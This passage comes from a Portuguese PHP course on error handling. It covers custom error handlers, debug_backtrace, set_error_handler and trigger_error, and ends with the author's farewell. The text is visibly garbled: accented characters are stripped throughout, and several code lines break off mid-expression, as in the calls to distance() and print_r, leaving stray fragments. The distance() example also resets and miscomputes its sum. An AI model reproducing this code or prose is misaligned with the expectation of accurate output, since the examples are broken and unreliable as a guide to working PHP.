quais erros reportar.Voc pode usar os operadores Bit-a-bit para combinar estes valores ou
mascarar certos tipos de erro. Note que somente '|', '~', '!', ^ e '&' sero entendidos dentro do
php.ini, entretanto, nenhum operador ser entendido no php3.ini.
Exemplos
Abaixo voc poder ver um exemplo de como usar as capacidades de gerenciamento de erros
no PHP. Ns definimos uma funo para gerenciamento de erros a qual guardas as
informaes dentro de um arquivo (usando um formato XML), e envia um e-mail para o
desenvolvador caso um erro crtico na lgica acontea. Exemplo 1. Usando gerenciamento de
erro em um script

PHP
1. <?php
2. // ns iremos fazer o nosso prprio gerenciamento de erros
3. error_reporting(0);
4.
5. // funo definida pelo usurio para gerenciamento de erros
6. function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars) {
7. // timestamp para a entrada do erro
8. $dt = date("Y-m-d H:i:s (T)");
9.
10. // Define uma matriz associativa com as strings dos erros
11. $errortype = array (
12. 1 => "Error",
13. 2 => "Warning",
14. 4 => "Parsing Error",
15. 8 => "Notice",
16. 16 => "Core Error",
17. 32 => "Core Warning",
18. 64 => "Compile Error",
19. 128 => "Compile Warning",

20. 256 => "User Error",


21. 512 => "User Warning",
22. 1024=> "User Notice"
23. );
24. // define quais erros ns iremos salvar
25. $user_errors = array(E_USER_ERROR, E_USER_WARNING, E_USER_NOTICE);
26.
27. $err = "<errorentry>\n";
28. $err .= "\t<datetime>" . $dt . "</datetime>\n";
29. $err .= "\t<errornum>" . $errno . "</errornum>\n";
30. $err .= "\t<errortype>" . $errortype[$errno] . "</errortype>\n";
31. $err .= "\t<errormsg>" . $errmsg . "</errormsg>\n";
32. $err .= "\t<scriptname>" . $filename . "</scriptname>\n";
33. $err .= "\t<scriptlinenum>" . $linenum . "</scriptlinenum>\n";
34.
35. if (in_array($errno, $user_errors))
36. $err .= "\t<vartrace>" . wddx_serialize_value($vars, "Variables") . "</vartrace>\n";
37. $err .= "</errorentry>\n\n";
38.
39. // para teste
40. // echo $err;
41.
42. // salva para o log de erros, e envia um email para o desenvolvedor em caso de erro cr
tico
43. error_log($err, 3, "/usr/local/php4/error.log");
44. if ($errno == E_USER_ERROR)
45. mail("phpdev@example.com", "Critical User Error", $err);
46. }

47.
48.
49. function distance($vect1, $vect2) {
50. if (!is_array($vect1) || !is_array($vect2)) {
51. trigger_error("Incorrect parameters, arrays expected", E_USER_ERROR);
52. return NULL;
53. }
54.
55. if (count($vect1) != count($vect2)) {
56. trigger_error("Vectors need to be of the same size", E_USER_ERROR);
57. return NULL;
58. }
59.
60. for ($i=0; $i<count($vect1); $i++) {
61. $c1 = $vect1[$i]; $c2 = $vect2[$i];
62. $d = 0.0;
63. if (!is_numeric($c1)) {
64. trigger_error("Coordinate $i in vector 1 is not a number, using zero",
65. E_USER_WARNING);
66. $c1 = 0.0;
67. }
68. if (!is_numeric($c2)) {
69. trigger_error("Coordinate $i in vector 2 is not a number, using zero",
70. E_USER_WARNING);
71. $c2 = 0.0;
72. }
73. $d += $c2*$c2 - $c1*$c1;

74. }
75. return sqrt($d);
76. }
77.
78. $old_error_handler = set_error_handler("userErrorHandler");
79.
80. // constante indefinida, gera um aviso
81. $t = I_AM_NOT_DEFINED;
82.
83. // define alguns "vetores"
84. $a = array(2, 3, "foo");
85. $b = array(5.5, 4.3, -1.6);
86. $c = array (1,-3);
87.
88. // gera um erro do usurio

89. $t1 = distance($c, $

."\n";

90.
91. // gera outro erro do usurio
92. $t2 = distance($b, "i am not an array")."\n";
93.
94. // gera um aviso

95. $t3 = distance($a, $


96.
97. ?>

debug_backtrace

."\n";

(PHP 4 >= 4.3.0, PHP 5)


debug_backtrace -- Gera um backtrace
Descrio
array debug_backtrace ( void )

debug_backtrace() gera um backtrace e retorna esta informao em uma matriz associativa.


Os elementos possivelmente retornados esto na seguinte tabela:

Tabela 1. Elementos possivelmente retornados de debug_backtrace()


Nome Tipo Descrio
function string O nome da funo atual. Veja tambm __FUNCTION__.
line integer O nmero da linha atual. Veja tambm __LINE__.
file string O nome do arquivo atual. Veja tambm __FILE__.
class string O nome da classe atual. Veja tambm __CLASS__.
type string O tipo da classe atual.
args array Se estiver dentro de uma funo, lista os argumentos da funo. Se estiver dentro
de um arquivo includo, lista o(s) nome(s) do(s) arquivo(s).

A seguir esta um exemplo simples.


Exemplo 1. Exemplo debug_backtrace()
// nome do arquivo: a.php
PHP
1. <?php
2.
3. function a_test($str) {
4.
5. echo "\nHi: $str";
6.
7. var_dump(debug_backtrace());
8. }
9.

10. a_test('friend');
11. ?>

// nome do arquivo: b.php


PHP
1. <?php
2. include_once '/tmp/a.php';
3. ?>
4.

Resultados quando executando /tmp/b.php:

Hi: friend
array(2) {
[0]=>
array(4) {
["file"] => string(10) "/tmp/a.php"
["line"] => int(10)
["function"] => string(6) "a_test"
["args"]=>
array(1) {
[0] => &string(6) "friend"
}
}
[1]=>
array(4) {
["file"] => string(10) "/tmp/b.php"
["line"] => int(2)
["args"] =>
array(1) {
[0] => string(10) "/tmp/a.php"
}
["function"] => string(12) "include_once"
}
}

debug_print_backtrace
(PHP 5)
debug_print_backtrace -- Mostra um backtrace
restore_error_handler
(PHP 4 >= 4.0.1, PHP 5)
restore_error_handler -- Restaura a funo anterior para gerenciamento de erro
set_error_handler
(PHP 4 >= 4.0.1, PHP 5)
set_error_handler -- Define uma funo do usurio para manusear os erros.
Descrio
string set_error_handler ( callback error_handler)

Define uma funo do usurio (error_handler) para manusear os erros no script. Retorna a
funo definida anteriormente (se houver alguma), ou FALSE em caso de erro. Esta funo
pode ser usada para definir o seu prprio meio de manusear os erros durante a execuo do
script, por exemplo em aplicaes que voc precisa fazer uma limpesa de dados/arquivos
quando um erro crtico acontece, ou quando voc quer criar um erro sobre certas condies
(usando trigger_error()).
A funo do usuario precisa aceitar dois parmetros: o cdigo do erro e a string descrevendo o
erro. Apartir do PHP 4.0.2, trs parmetros opcionais so fornecidos: o nome do erro onde o
arquivo aconteceu, o nmero da linha onde o erro aconteceu, e o contexto onde o erro
aconteceu (uma matriz que aponta para a tabela de smbolos ativos no ponto onde aconteceu
o erro).
Nota: Ao invs de um nome de funo, uma matriz contendo uma referncia a um objeto e um
nome de metodo pode ser indicado (Apartir do PHP 4.3.0).
Nota: Os seguintes tipos de erro no podem ser manuseados por uma funo definida pelo
usurio: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR e
E_COMPILE_WARNING.
O exemplo abaixo mostra como manusear excees criando erros e gerenciando erros com
uma funo definida pelo usurio: Exemplo 1. Manuseando erros com set_error_handler() e
trigger_error()

PHP

1. <?php
2.
3. // redefine the user error constants - PHP 4 only
4. define("FATAL", E_USER_ERROR);
5. define("ERROR", E_USER_WARNING);
6. define("WARNING", E_USER_NOTICE);
7.
8. // set the error reporting level for this script
9. error_reporting(FATAL | ERROR | WARNING);
10.
11. // error handler function
12. function myErrorHandler($errno, $errstr, $errfile, $errline) {
13. switch ($errno) {
14. case FATAL:
15. echo "<b>FATAL</b> [$errno] $errstr<br />\n";
16. echo " Fatal error in line $errline of file $errfile";
17. echo ", PHP ".PHP_VERSION." (".PHP_OS.")<br />\n";
18. echo "Aborting...<br />\n";
19. exit(1);
20. break;
21. case ERROR:
22. echo "<b>ERROR</b> [$errno] $errstr<br />\n";
23. break;
24. case WARNING:
25. echo "<b>WARNING</b> [$errno] $errstr<br />\n";
26. break;
27. default:

28. echo "Unkown error type: [$errno] $errstr<br />\n";


29. break;
30. }
31. }
32.
33. // function to test the error handling
34. function scale_by_log($vect, $scale) {
35. if (!is_numeric($scale) || $scale <= 0) {
36. trigger_error("log(x) for x <= 0 is undefined, you used: scale = $scale",
37. FATAL);
38. }
39.
40. if (!is_array($vect)) {
41. trigger_error("Incorrect input vector, array of values expected", ERROR);
42. return null;
43. }
44.
45. for ($i=0; $i<count($vect); $i++) {
46. if (!is_numeric($vect[$i]))
47. trigger_error("Value at position $i is not a number, using 0 (zero)",
48. WARNING);
49. $temp[$i] = log($scale) * $vect[$i];
50. }
51. return $temp;
52. }
53.
54. // set to the user defined error handler

55. $old_error_handler = set_error_handler("myErrorHandler");


56.
57. // trigger some errors, first define a mixed array with a non-numeric item
58. echo "vector a\n";
59. $a = array(2,3, "foo", 5.5, 43.3, 21.11);
60. print_r($a);
61.
62. // now generate second array, generating a warning
63. echo "----\nvector b - a warning (b = log(PI) * a)\n";
64. $b = scale_by_log($a, M_PI);

65. print_r($

66.
67. // this is trouble, we pass a string instead of an array
68. echo "----\nvector c - an error\n";
69. $c = scale_by_log("not array", 2.3);
70. var_dump($c);
71.
72. // this is a critical error, log of zero or negative number is undefined
73. echo "----\nvector d - fatal error\n";
74. $d = scale_by_log($a, -2.5);
75.
76. ?>

E quando voc usar este script de exemplo, a sada ser:


vector a

Array
(
[0] => 2
[1] => 3
[2] => foo
[3] => 5.5
[4] => 43.3
[5] => 21.11
)

vector b - a warning (b = log(PI) * a)


<b>WARNING</b> [1024] Value at position 2 is not a number, using 0 (zero)<br />

Array
(
[0] => 2.2894597716988
[1] => 3.4341896575482
[2] => 0
[3] => 6.2960143721717
[4] => 49.566804057279
[5] => 24.165247890281
)

vector c - an error
<b>ERROR</b> [512] Incorrect input vector, array of values expected<br />
NULL
---vector d - fatal error
<b>FATAL</b> [256] log(x) for x <= 0 is undefined, you used: scale = -2.5<br />
Fatal error in line 36 of file trigger_error.php, PHP 4.0.2 (Linux)<br />
Aborting...<br />

importante lembrar que o gerenciamento de erro do padro do PHP completamente


ignorado. As definies de error_reporting() no tero efeito e seu gerenciador de erro ser
chamado. Em todo o caso, voc ainda poder ler o valor atual de error_reporting e ajir
apropriadamente. Uma nota em particular que este valor ser 0 se o comando que causou o
erro for precedido pelo operador de controle de erro @.
Note tambm que sua responsabilidade usar o die() se necessrio. Se a funo que gerencia
os erros retornar, a execuo do script ir continuar a apartir do comando seguinte ao que

causou o erro
Nota: Se o erro acontecer antes da execuo do script(ex. enquanto o arquivo carregado) a
funo defina pelo usuario no ser chamada j que no estar ainda registrada.
trigger_error
(PHP 4 >= 4.0.1, PHP 5)
trigger_error -- Gera uma mensagem de usurio sobre error/warning/notice
Descrio
void trigger_error ( string error_msg [, int error_type])
Usa para realizar uma condio de erro, pode ser usado em conjunto com o gerenciador de
erros padro ou com uma funo definida pelo usurio, se for definida como gerenciador de
erros com set_error_handler(). Somente funciona com as constantes da famlia E_USER, e o
padro E_USER_NOTICE.
Esta funo til quando voc quer gerar uma resposta para uma exceo durante a execuo
do script. Por exemplo:

PHP
1. <?php
2. if (assert($divisor == 0)) {
3. trigger_error("No posso dividir por zero", E_USER_ERROR);
4. }
5. ?>

Nota: Veja set_error_handler() para um exemplo maior.


Nota: error_msg limitado a 1024 caracteres de tamanho. Qualquer caractere adicional alm
de 1024 sero truncados.

Fim do Curso de PHP


Quero agradecer a todos que acompanharam esse curso, e agradeo os elogios e criticas, e
espero que tenha aprendido alguma coisa nova ja fico contente
e no quero parar de ajudar mesmo que o curso de PHP acabou logo iremos apresentar mais
cursos o prximo curso a ser apresentado a vocs ser sobre Mysql, e espero poder tambm

passar um curso avanado sobre outros bancos de dados e funes avanadas do php,
aguardem e bons estudos
at a prxima

Potrebbero piacerti anche